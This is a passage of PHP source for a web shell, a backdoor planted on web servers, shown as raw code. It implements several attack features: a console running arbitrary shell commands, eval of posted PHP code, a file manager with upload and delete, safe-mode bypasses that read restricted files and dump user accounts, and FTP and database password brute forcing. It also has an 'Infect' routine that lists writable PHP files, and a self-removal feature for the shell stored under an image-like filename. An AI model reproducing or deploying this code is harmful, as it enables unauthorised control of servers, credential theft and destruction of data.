            echo "<h1>Console</h1><div class=content><form name=cf onsubmit=\"if(d.cf.cmd.value=='clear'){d.cf.output.value='';d.cf.cmd.value='';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:'');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:'');} return false;\"><label><select name=alias>";
            foreach ($GLOBALS['aliases'] as $n => $v) {
                if ($v == '') {
                    echo '<optgroup label="-' . htmlspecialchars($n) . '-"></optgroup>';
                    continue;
                }
                echo '<option value="' . htmlspecialchars($v) . '">' . $n . '</option>';
            }
            echo '</select></label><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value="submit"> <nobr><input type=checkbox name=ajax value=1 ' . (@$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX <input type=checkbox name=show_errors value=1 ' . (!empty($_POST['p2']) || $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'stderr_to_out'] ? 'checked' : '') . '> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin-top:5px;" readonly>';
            if (!empty($_POST['p1'])) {
                echo htmlspecialchars("\$ " . $_POST['p1'] . "\n" . ex($_POST['p1']));
            }
            echo "</textarea><table style=\"border:1px solid #060a10;background-color:#060a10;border-top:0px;\" cellpadding=0 cellspacing=0 width=\"100%\"><tr><td style=\"padding-left:4px; width:13px;\">\$</td><td><input type=text name=cmd style=\"border:0px;width:100%;\" onkeydown=\"kp(event);\"></td></tr></table>";
            echo "</form></div><script>d.cf.cmd.focus();</script>";
            hardFooter();
        }
        function actionPhp()
        {
            if (isset($_POST['ajax'])) {
                $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = true;
                ob_start();
                eval($_POST['p1']);
                $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\x00") . "';\n";
                echo strlen($temp), "\n", $temp;
                exit;
            }
            hardHeader();
            if (isset($_POST['p2']) && $_POST['p2'] == 'info') {
                echo "<h1>PHP info</h1><div class=content>";
                ob_start();
                phpinfo();
                $tmp = ob_get_clean();
                $tmp = preg_replace('!body {.*}!msiU', '', $tmp);
                $tmp = preg_replace('!a:\\w+ {.*}!msiU', '', $tmp);
                $tmp = preg_replace('!h1!msiU', 'h2', $tmp);
                $tmp = preg_replace('!td, th {(.*)}!msiU', '.e, .v, .h, .h th {$1}', $tmp);
                $tmp = preg_replace('!body, td, th, h2, h2 {.*}!msiU', '', $tmp);
                echo $tmp;
                echo "</div><br>";
            }
            if (empty($_POST['ajax']) && !empty($_POST['p1'])) {
                $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;
            }
            echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(null,null,this.code.value);}else{g(null,null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>' . (!empty($_POST['p1']) ? htmlspecialchars($_POST['p1']) : '') . '</textarea><input type=submit value=Eval style="margin-top:5px">';
            echo ' <input type=checkbox name=ajax value=1 ' . ($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX</form><pre id=PhpOutput style="' . (empty($_POST['p1']) ? 'display:none;' : '') . 'margin-top:5px;" class=ml1>';
            if (!empty($_POST['p1'])) {
                ob_start();
                eval($_POST['p1']);
                echo htmlspecialchars(ob_get_clean());
            }
            echo "</pre></div>";
            hardFooter();
        }
        function actionFilesMan()
        {
            if (!empty($_COOKIE['f'])) {
                $_COOKIE['f'] = @unserialize($_COOKIE['f']);
            }
            if (!empty($_POST['p1'])) {
                switch ($_POST['p1']) {
                    case 'uploadFile':
                        if (is_array($_FILES['f']['tmp_name'])) {
                            foreach ($_FILES['f']['tmp_name'] as $i => $tmpName) {
                                if (!@move_uploaded_file($tmpName, $_FILES['f']['name'][$i])) {
                                    echo "Can't upload file!";
                                }
                            }
                        }
                        break;
                    case 'mkdir':
                        if (!@mkdir($_POST['p2'])) {
                            echo "Can't create new dir";
                        }
                        break;
                    case 'delete':
                        function deleteDir($path)
                        {
                            $path = substr($path, -1) == '/' ? $path : $path . '/';
                            $dh = opendir($path);
                            while (($▟ = readdir($dh)) !== false) {
                                $▟ = $path . $▟;
                                if (basename($▟) == ".." || basename($▟) == ".") {
                                    continue;
                                }
                                $type = filetype($▟);
                                if ($type == "dir") {
                                    deleteDir($▟);
                                } else {
                                    @unlink($▟);
                                }
                            }
                            closedir($dh);
                            @rmdir($path);
                        }
                        if (is_array(@$_POST['f'])) {
                            foreach ($_POST['f'] as $f) {
                                if ($f == '..') {
                                    continue;
                                }
                                $f = urldecode($f);
                                if (is_dir($f)) {
                                    deleteDir($f);
                                } else {
                                    @unlink($f);
                                }
                            }
                        }
                        break;
                    case 'paste':
                        if ($_COOKIE['act'] == 'copy') {
                            function copy_paste($c, $s, $d)
                            {
                                if (is_dir($c . $s)) {
                                    mkdir($d . $s);
                                    $h = @opendir($c . $s);
                                    while (($f = @readdir($h)) !== false) {
                                        if ($f != "." and $f != "..") {
                                            copy_paste($c . $s . '/', $f, $d . $s . '/');
                                        }
                                    }
                                } elseif (is_file($c . $s)) {
                                    @copy($c . $s, $d . $s);
                                }
                            }
                            foreach ($_COOKIE['f'] as $f) {
                                copy_paste($_COOKIE['c'], $f, $GLOBALS['cwd']);
                            }
                        } elseif ($_COOKIE['act'] == 'move') {
                            function move_paste($c, $s, $d)
                            {
                                if (is_dir($c . $s)) {
                                    mkdir($d . $s);
                                    $h = @opendir($c . $s);
                                    while (($f = @readdir($h)) !== false) {
                                        if ($f != "." and $f != "..") {
                                            copy_paste($c . $s . '/', $f, $d . $s . '/');
                                        }
                                    }
                                } elseif (@is_file($c . $s)) {
                                    @copy($c . $s, $d . $s);
                                }
                            }
                            foreach ($_COOKIE['f'] as $f) {
                                @rename($_COOKIE['c'] . $f, $GLOBALS['cwd'] . $f);
                            }
                        } elseif ($_COOKIE['act'] == 'zip') {
                            if (class_exists('ZipArchive')) {
                                $zip = new ZipArchive();
                                if ($zip->open($_POST['p2'], 1)) {
                                    chdir($_COOKIE['c']);
                                    foreach ($_COOKIE['f'] as $f) {
                                        if ($f == '..') {
                                            continue;
                                        }
                                        if (@is_file($_COOKIE['c'] . $f)) {
                                            $zip->addFile($_COOKIE['c'] . $f, $f);
                                        } elseif (@is_dir($_COOKIE['c'] . $f)) {
                                            $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f . '/', FilesystemIterator::SKIP_DOTS));
                                            foreach ($iterator as $key => $value) {
                                                $zip->addFile(realpath($key), $key);
                                            }
                                        }
                                    }
                                    chdir($GLOBALS['cwd']);
                                    $zip->close();
                                }
                            }
                        } elseif ($_COOKIE['act'] == 'unzip') {
                            if (class_exists('ZipArchive')) {
                                $zip = new ZipArchive();
                                foreach ($_COOKIE['f'] as $f) {
                                    if ($zip->open($_COOKIE['c'] . $f)) {
                                        $zip->extractTo($GLOBALS['cwd']);
                                        $zip->close();
                                    }
                                }
                            }
                        } elseif ($_COOKIE['act'] == 'tar') {
                            chdir($_COOKIE['c']);
                            $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
                            ex('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
                            chdir($GLOBALS['cwd']);
                        }
                        unset($_COOKIE['f']);
                        setcookie('f', '', time() - 3600);
                        break;
                    default:
                        if (!empty($_POST['p1'])) {
                            prototype('act', $_POST['p1']);
                            prototype('f', serialize(@$_POST['f']));
                            prototype('c', @$_POST['c']);
                        }
                        break;
                }
            }
            hardHeader();
            echo "<h1>File manager</h1><div class=content><script>p1_=p2_=p3_=\"\";</script>";
            $dirContent = hardScandir(isset($_POST['c']) ? $_POST['c'] : $GLOBALS['cwd']);
            if ($dirContent === false) {
                echo "Can't open this folder!";
                hardFooter();
                return;
            }
            global $sort;
            $sort = array('name', 1);
            if (!empty($_POST['p1'])) {
                if (preg_match('!s_([A-z]+)_(\\d{1})!', $_POST['p1'], $match)) {
                    $sort = array($match[1], (int) $match[2]);
                }
            }
            echo "<script>\n\tfunction sa() {\n\t\tfor(i=0;i<d.files.elements.length;i++)\n\t\t\tif(d.files.elements[i].type == 'checkbox')\n\t\t\t\td.files.elements[i].checked = d.files.elements[0].checked;\n\t}\n</script>\n<table width='100%' class='main' cellspacing='0' cellpadding='2'>\n<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_" . ($sort[1] ? 0 : 1) . "\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_" . ($sort[1] ? 0 : 1) . "\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_" . ($sort[1] ? 0 : 1) . "\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_" . ($sort[1] ? 0 : 1) . "\")'>Permissions</a></th><th>Actions</th></tr>";
            $dirs = $files = array();
            $n = count($dirContent);
            for ($i = 0; $i < $n; $i++) {
                $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
                $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
                $tmp = array('name' => $dirContent[$i], 'path' => $GLOBALS['cwd'] . $dirContent[$i], 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])), 'perms' => viewPermsColor($GLOBALS['cwd'] . $dirContent[$i]), 'size' => @filesize($GLOBALS['cwd'] . $dirContent[$i]), 'owner' => $ow['name'] ? $ow['name'] : @fileowner($dirContent[$i]), 'group' => $gr['name'] ? $gr['name'] : @filegroup($dirContent[$i]));
                if (@is_file($GLOBALS['cwd'] . $dirContent[$i])) {
                    $files[] = array_merge($tmp, array('type' => 'file'));
                } elseif (@is_link($GLOBALS['cwd'] . $dirContent[$i])) {
                    $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
                } elseif (@is_dir($GLOBALS['cwd'] . $dirContent[$i]) && $dirContent[$i] != ".") {
                    $dirs[] = array_merge($tmp, array('type' => 'dir'));
                }
            }
            $GLOBALS['sort'] = $sort;
            function cmp($a, $b)
            {
                if ($GLOBALS['sort'][0] != 'size') {
                    return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]])) * ($GLOBALS['sort'][1] ? 1 : -1);
                } else {
                    return ($a['size'] < $b['size'] ? -1 : 1) * ($GLOBALS['sort'][1] ? 1 : -1);
                }
            }
            usort($files, "cmp");
            usort($dirs, "cmp");
            $files = array_merge($dirs, $files);
            $l = 0;
            foreach ($files as $f) {
                echo '<tr' . ($l ? ' class=l1' : '') . '><td><input type=checkbox name="f[]" value="' . urlencode($f['name']) . '" class=chkbx></td><td><a href=# onclick="' . ($f['type'] == 'file' ? 'g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'view\')">' . htmlspecialchars($f['name']) : 'g(\'FilesMan\',\'' . $f['path'] . '\');" ' . (empty($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>') . '</a></td><td>' . ($f['type'] == 'file' ? viewSize($f['size']) : $f['type']) . '</td><td>' . $f['modify'] . '</td><td>' . $f['owner'] . '/' . $f['group'] . '</td><td><a href=# onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\',\'chmod\')">' . $f['perms'] . '</td><td><a class="tooltip" data-tooltip="Rename" href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'rename\')">R</a> <a class="tooltip" data-tooltip="Touch" href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'touch\')">T</a>' . ($f['type'] == 'file' ? ' <a class="tooltip" data-tooltip="Frame" href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'frame\')">F</a> <a class="tooltip" data-tooltip="Edit" href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'edit\')">E</a> <a class="tooltip" data-tooltip="Download" href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'download\')">D</a>' : '') . '</td></tr>';
                $l = $l ? 0 : 1;
            }
            echo "<tr id=fak><td colspan=7>\n\t<input type=hidden name=ne value=''>\n\t<input type=hidden name=a value='FilesMan'>\n\t<input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'>\n\t<input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>\n\t<label><select name='p1'>";
            if (!empty($_COOKIE['act']) && @count($_COOKIE['f'])) {
                echo "<option value='paste'>\xe2\x86\xb3 Paste</option>";
            }
            echo "<option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
            if (class_exists('ZipArchive')) {
                echo "<option value='zip'>+ zip</option><option value='unzip'>- zip</option>";
            }
            echo "<option value='tar'>+ tar.gz</option>";
            echo "</select></label>";
            if (!empty($_COOKIE['act']) && @count($_COOKIE['f']) && ($_COOKIE['act'] == 'zip' || $_COOKIE['act'] == 'tar')) {
                echo "&nbsp;file name: <input type=text name=p2 value='hard_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip' ? 'zip' : 'tar.gz') . "'>&nbsp;";
            }
            echo "<input type='submit' value='submit'></td></tr></form></table></div>";
            hardFooter();
        }
        function actionStringTools()
        {
            if (!function_exists('hex2bin')) {
                function hex2bin($p)
                {
                    return decbin(hexdec($p));
                }
            }
            if (!function_exists('binhex')) {
                function binhex($p)
                {
                    return dechex(bindec($p));
                }
            }
            if (!function_exists('hex2ascii')) {
                function hex2ascii($p)
                {
                    $r = '';
                    for ($i = 0; $i < strLen($p); $i += 2) {
                        $r .= chr(hexdec($p[$i] . $p[$i + 1]));
                    }
                    return $r;
                }
            }
            if (!function_exists('ascii2hex')) {
                function ascii2hex($p)
                {
                    $r = '';
                    for ($i = 0; $i < strlen($p); ++$i) {
                        $r .= sprintf('%02X', ord($p[$i]));
                    }
                    return strtoupper($r);
                }
            }
            if (!function_exists('full_urlencode')) {
                function full_urlencode($p)
                {
                    $r = '';
                    for ($i = 0; $i < strlen($p); ++$i) {
                        $r .= '%' . dechex(ord($p[$i]));
                    }
                    return strtoupper($r);
                }
            }
            $stringTools = array('Base64 encode' => 'base64_encode', 'Base64 decode' => 'base64_decode', 'Url encode' => 'urlencode', 'Url decode' => 'urldecode', 'Full urlencode' => 'full_urlencode', 'md5 hash' => 'md5', 'sha1 hash' => 'sha1', 'crypt' => 'crypt', 'CRC32' => 'crc32', 'ASCII to HEX' => 'ascii2hex', 'HEX to ASCII' => 'hex2ascii', 'HEX to DEC' => 'hexdec', 'HEX to BIN' => 'hex2bin', 'DEC to HEX' => 'dechex', 'DEC to BIN' => 'decbin', 'BIN to HEX' => 'binhex', 'BIN to DEC' => 'bindec', 'String to lower case' => 'strtolower', 'String to upper case' => 'strtoupper', 'Htmlspecialchars' => 'htmlspecialchars', 'String length' => 'strlen');
            if (isset($_POST['ajax'])) {
                prototype(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
                ob_start();
                if (in_array($_POST['p1'], $stringTools)) {
                    echo $_POST['p1']($_POST['p2']);
                }
                $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\x00") . "';\n";
                echo strlen($temp), "\n", $temp;
                exit;
            }
            if (empty($_POST['ajax']) && !empty($_POST['p1'])) {
                prototype(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
            }
            hardHeader();
            echo "<h1>String conversions</h1><div class=content>";
            echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><label><select name='selectTool'>";
            foreach ($stringTools as $k => $v) {
                echo "<option value='" . htmlspecialchars($v) . "'>" . $k . "</option>";
            }
            echo "</select></label><input type='submit' value='submit'/> <input type=checkbox name=ajax value=1 " . (@$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . "> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>" . (empty($_POST['p1']) ? '' : htmlspecialchars(@$_POST['p2'])) . "</textarea></form><pre class='ml1' style='" . (empty($_POST['p1']) ? 'display:none;' : '') . "margin-top:5px' id='strOutput'>";
            if (!empty($_POST['p1'])) {
                if (in_array($_POST['p1'], $stringTools)) {
                    echo htmlspecialchars($_POST['p1']($_POST['p2']));
                }
            }
            echo "</pre></div><br><h1>Search files:</h1><div class=content>\n\t\t<form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>\n\t\t\t<tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>\n\t\t\t<tr><td>Path:</td><td><input type='text' name='cwd' value='" . htmlspecialchars($GLOBALS['cwd']) . "' style='width:100%'></td></tr>\n\t\t\t<tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>\n\t\t\t<tr><td></td><td><input type='submit' value='submit'></td></tr>\n\t\t\t</table></form>";
            function hardRecursiveGlob($path)
            {
                if (substr($path, -1) != '/') {
                    $path .= '/';
                }
                $paths = @array_unique(@array_merge(@glob($path . $_POST['p3']), @glob($path . '*', GLOB_ONLYDIR)));
                if (is_array($paths) && @count($paths)) {
                    foreach ($paths as $▟) {
                        if (@is_dir($▟)) {
                            if ($path != $▟) {
                                hardRecursiveGlob($▟);
                            }
                        } else {
                            if (empty($_POST['p2']) || @strpos(file_get_contents($▟), $_POST['p2']) !== false) {
                                echo "<a href='#' onclick='g(\"FilesTools\",null,\"" . urlencode($▟) . "\", \"view\",\"\")'>" . htmlspecialchars($▟) . "</a><br>";
                            }
                        }
                    }
                }
            }
            if (@$_POST['p3']) {
                hardRecursiveGlob($_POST['c']);
            }
            echo "</div><br><h1>Search for hash:</h1><div class=content>\n\t\t<form method='post' target='_blank' name='hf'>\n\t\t\t<input type='text' name='hash' style='width:200px;'><br>\n            <input type='hidden' name='act' value='find'/>\n\t\t\t<input type='submit' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>\n\t\t\t<input type='submit' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>\n            <input type='submit' value='fakenamegenerator.com' onclick=\"document.hf.action='http://www.fakenamegenerator.com/';document.hf.submit()\"><br>\n\t\t\t<input type='submit' value='hashcrack.com' onclick=\"document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()\"><br>\n\t\t\t<input type='submit' value='toolki.com' onclick=\"document.hf.action='http://toolki.com/';document.hf.submit()\"><br>\n\t\t\t<input type='submit' value='fopo.com.ar' onclick=\"document.hf.action='http://fopo.com.ar/';document.hf.submit()\"><br>\n\t\t\t<input type='submit' value='md5decrypter.com' onclick=\"document.hf.action='http://www.md5decrypter.com/';document.hf.submit()\"><br>\n\t\t</form></div>";
            hardFooter();
        }
        function actionSafeMode()
        {
            $temp = '';
            ob_start();
            switch ($_POST['p1']) {
                case 1:
                    $temp = @tempnam($test, 'cx');
                    if (@copy("compress.zlib://" . $_POST['p2'], $temp)) {
                        echo @file_get_contents($temp);
                        unlink($temp);
                    } else {
                        echo "Sorry... Can't open file";
                    }
                    break;
                case 2:
                    $files = glob($_POST['p2'] . '*');
                    if (is_array($files)) {
                        foreach ($files as $filename) {
                            echo $filename . "\n";
                        }
                    }
                    break;
                case 3:
                    $ch = curl_init("file://" . $_POST['p2'] . "\x00" . SELF_PATH);
                    curl_exec($ch);
                    break;
                case 4:
                    ini_restore("safe_mode");
                    ini_restore("open_basedir");
                    include $_POST['p2'];
                    break;
                case 5:
                    for (; $_POST['p2'] <= $_POST['p3']; $_POST['p2']++) {
                        $uid = @posix_getpwuid($_POST['p2']);
                        if ($uid) {
                            echo join(':', $uid) . "\n";
                        }
                    }
                    break;
                case 6:
                    if (!function_exists('imap_open')) {
                        break;
                    }
                    $stream = imap_open($_POST['p2'], "", "");
                    if ($stream == FALSE) {
                        break;
                    }
                    echo imap_body($stream, 1);
                    imap_close($stream);
                    break;
            }
            $temp = ob_get_clean();
            hardHeader();
            echo "<h1>Safe mode bypass</h1><div class=content>";
            echo "<span>Copy (read file)</span><form onsubmit='g(null,null,\"1\",this.param.value);return false;'><input class=\"toolsInp\" type=text name=param><input type=submit value=\"submit\"></form><br><span>Glob (list dir)</span><form onsubmit='g(null,null,\"2\",this.param.value);return false;'><input class=\"toolsInp\" type=text name=param><input type=submit value=\"submit\"></form><br><span>Curl (read file)</span><form onsubmit='g(null,null,\"3\",this.param.value);return false;'><input class=\"toolsInp\" type=text name=param><input type=submit value=\"submit\"></form><br><span>Ini_restore (read file)</span><form onsubmit='g(null,null,\"4\",this.param.value);return false;'><input class=\"toolsInp\" type=text name=param><input type=submit value=\"submit\"></form><br><span>Posix_getpwuid (\"Read\" /etc/passwd)</span><table><form onsubmit='g(null,null,\"5\",this.param1.value,this.param2.value);return false;'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=\"submit\"></form><br><br><span>Imap_open (read file)</span><form onsubmit='g(null,null,\"6\",this.param.value);return false;'><input type=text name=param><input type=submit value=\"submit\"></form>";
            if ($temp) {
                echo '<pre class="ml1" style="margin-top:5px" id="Output">' . $temp . '</pre>';
            }
            echo "</div>";
            hardFooter();
        }
        function actionLogout()
        {
            setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
            die('bye!');
        }
        function actionSelfRemove()
        {
            if ($_POST['p1'] == 'yes') {
                if (@unlink("/var/www/html/b.jpg.c81a6a93d4f9e953072cfb36252a056d.bin")) {
                    die('Shell has been removed');
                } else {
                    echo "unlink error!";
                }
            }
            if ($_POST['p1'] != 'yes') {
                hardHeader();
            }
            echo "<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick=\"g(null,null,'yes')\">Yes</a></div>";
            hardFooter();
        }
        function actionInfect()
        {
            hardHeader();
            echo "<h1>Infect</h1><div class=content>";
            if ($_POST['p1'] == 'infect') {
                $target = $_SERVER['DOCUMENT_ROOT'];
                function ListFiles($dir)
                {
                    if ($dh = opendir($dir)) {
                        $files = array();
                        $inner_files = array();
                        while ($file = readdir($dh)) {
                            if ($file != "." && $file != "..") {
                                if (is_dir($dir . "/" . $file)) {
                                    $inner_files = ListFiles($dir . "/" . $file);
                                    if (is_array($inner_files)) {
                                        $files = array_merge($files, $inner_files);
                                    }
                                } else {
                                    array_push($files, $dir . "/" . $file);
                                }
                            }
                        }
                        closedir($dh);
                        return $files;
                    }
                }
                foreach (ListFiles($target) as $key => $file) {
                    $nFile = substr($file, -4, 4);
                    if ($nFile == ".php") {
                        if ($file != $_SERVER['DOCUMENT_ROOT'] . $_SERVER['PHP_SELF'] && is_writeable($file)) {
                            echo "{$file}<br>";
                            $i++;
                        }
                    }
                }
                echo "<font color=red size=14>{$i}</font>";
            } else {
                echo "<form method=post><input type=submit value=Infect name=infet></form>";
                echo "Really want to infect the server?&nbsp;<a href=# onclick=\"g(null,null,'infect')\">Yes</a></div>";
            }
            hardFooter();
        }
        function actionBruteforce()
        {
            hardHeader();
            if (isset($_POST['proto'])) {
                echo '<h1>Results</h1><div class=content><span>Type:</span> ' . htmlspecialchars($_POST['proto']) . ' <span>Server:</span> ' . htmlspecialchars($_POST['server']) . '<br>';
                if ($_POST['proto'] == 'ftp') {
                    function bruteForce($ip, $port, $login, $pass)
                    {
                        $fp = @ftp_connect($ip, $port ? $port : 21);
                        if (!$fp) {
                            return false;
                        }
                        $res = @ftp_login($fp, $login, $pass);
                        @ftp_close($fp);
                        return $res;
                    }
                } elseif ($_POST['proto'] == 'mysql') {
                    function bruteForce($ip, $port, $login, $pass)
                    {
                        $res = @mysql_connect($ip . ':' . ($port ? $port : 3306), $login, $pass);
                        @mysql_close($res);
                        return $res;
                    }
                } elseif ($_POST['proto'] == 'pgsql') {
                    function bruteForce($ip, $port, $login, $pass)
                    {
                        $str = "host='" . $ip . "' port='" . $port . "' user='" . $login . "' password='" . $pass . "' dbname=postgres";
                        $res = @pg_connect($str);
                        @pg_close($res);
                        return $res;
                    }
                }
                $success = 0;
                $attempts = 0;
                $server = explode(":", $_POST['server']);
                if ($_POST['type'] == 1) {
                    $temp = @file('/etc/passwd');
                    if (is_array($temp)) {
                        foreach ($temp as $line) {
                            $line = explode(":", $line);
                            ++$attempts;
                            if (bruteForce(@$server[0], @$server[1], $line[0], $line[0])) {
                                $success++;
                                echo '<b>' . htmlspecialchars($line[0]) . '</b>:' . htmlspecialchars($line[0]) . '<br>';
                            }
                            if (@$_POST['reverse']) {
                                $tmp = "";
                                for ($i = strlen($line[0]) - 1; $i >= 0; --$i) {
                                    $tmp .= $line[0][$i];
                                }
                                ++$attempts;
                                if (bruteForce(@$server[0], @$server[1], $line[0], $tmp)) {
                                    $success++;
                                    echo '<b>' . htmlspecialchars($line[0]) . '</b>:' . htmlspecialchars($tmp);
                                }
                            }
                        }
                    }
                } elseif ($_POST['type'] == 2) {
                    $temp = @file($_POST['dict']);
                    if (is_array($temp)) {
                        foreach ($temp as $line) {
                            $line = trim($line);
                            ++$attempts;
                            if (bruteForce($server[0], @$server[1], $_POST['login'], $line)) {
                                $success++;
                                echo '<b>' . htmlspecialchars($_POST['login']) . '</b>:' . htmlspecialchars($line) . '<br>';
                            }
                        }
                    }
                }
                echo "<span>Attempts:</span> {$attempts} <span>Success:</span> {$success}</div><br>";
            }
            echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td><td><label><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></label></td></tr><tr><td><input type=hidden name=c value="' . htmlspecialchars($GLOBALS['cwd']) . '">' . '<input type=hidden name=a value="' . htmlspecialchars($_POST['a']) . '">' . '<input type=hidden name=charset value="' . htmlspecialchars($_POST['charset']) . '">' . '<input type=hidden name=ne  value="">' . '<span>Server:port</span></td>' . '<td><input type=text name=server value="127.0.0.1"></td></tr>' . '<tr><td><span>Brute type</span></td>' . '<td><input type=radio name=type value="1" checked> /etc/passwd</td></tr>' . '<tr><td></td><td style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</td></tr>' . '<tr><td></td><td><input type=radio name=type value="2"> Dictionary</td></tr>' . '<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>' . '<td><input type=text name=login value="root"></td></tr>' . '<tr><td><span>Dictionary</span></td>' . '<td><input type=text name=dict value="' . htmlspecialchars($GLOBALS['cwd']) . 'passwd.dic"></td></tr></table>' . '</td></tr><tr><td></td><td><input type=submit value="submit"></td></tr></form></table>';
            echo "</div>";
            hardFooter();
        }
        function actionSql()
        {
            class DbClass
            {
                var $type;
                var $link;
                var $res;
                function __constructor($type)
                {
                    $this->type = $type;
                }
                function connect($host, $user, $pass, $dbname)
                {
                    switch ($this->type) {
                        case 'mysql':
                            if ($this->link = @mysql_connect($host, $user, $pass, true)) {
                                return true;
                            }
                            break;
                        case 'pgsql':
                            $host = explode(':', $host);
                            if (!$host[1]) {
                                $host[1] = 5432;
                            }
                            if ($this->link = @pg_connect("host={$host[0]} port={$host[1]} user={$user} password={$pass} dbname={$dbname}")) {
                                return true;
                            }
                            break;
                    }
                    return false;
                }
                function selectdb($db)
                {
                    switch ($this->type) {
                        case 'mysql':
                            if (@mysql_select_db($db)) {
                                return true;
                            }
                            break;
                    }
                    return false;
                }
                function query($str)
                {
                    switch ($this->type) {
                        case 'mysql':
                            return $this->res = @mysql_query($str);
                        case 'pgsql':
                            return $this->res = @pg_query($this->link, $str);
                    }
                    return false;
                }
                function fetch()
                {
                    $res = func_num_args() ? func_get_arg(0) : $this->res;
                    switch ($this->type) {
                        case 'mysql':
                            return @mysql_fetch_assoc($res);
                        case 'pgsql':
                            return @pg_fetch_assoc($res);
                    }
                    return false;
                }
                function listDbs()
                {
                    switch ($this->type) {
                        case 'mysql':
                            return $this->query("SHOW databases");
                        case 'pgsql':
                            return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
                    }
                    return false;
                }
                function listTables()
                {
                    switch ($this->type) {
                        case 'mysql':
                            return $this->res = $this->query('SHOW TABLES');
                        case 'pgsql':
                            return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
                    }
                    return false;
                }
                function error()
                {
                    switch ($this->type) {
                        case 'mysql':
                            return @mysql_error();
                        case 'pgsql':
                            return @pg_last_error();
                    }
                    return false;
                }
                function setCharset($str)
                {
                    switch ($this->type) {
                        case 'mysql':
                            if (function_exists('mysql_set_charset')) {
                                return @mysql_set_charset($str, $this->link);
                            } else {
                                $this->query('SET CHARSET ' . $str);
                            }
                            break;
                        case 'pgsql':
                            return @pg_set_client_encoding($this->link, $str);
                    }
                    return false;
                }
                function loadFile($str)
                {
                    switch ($this->type) {
                        case 'mysql':
                            return $this->fetch($this->query("SELECT LOAD_FILE('" . addslashes($str) . "') as file"));
                        case 'pgsql':
                            $this->query("CREATE TABLE hard2(file text);COPY hard2 FROM '" . addslashes($str) . "';select file from hard2;");
                            $r = array();
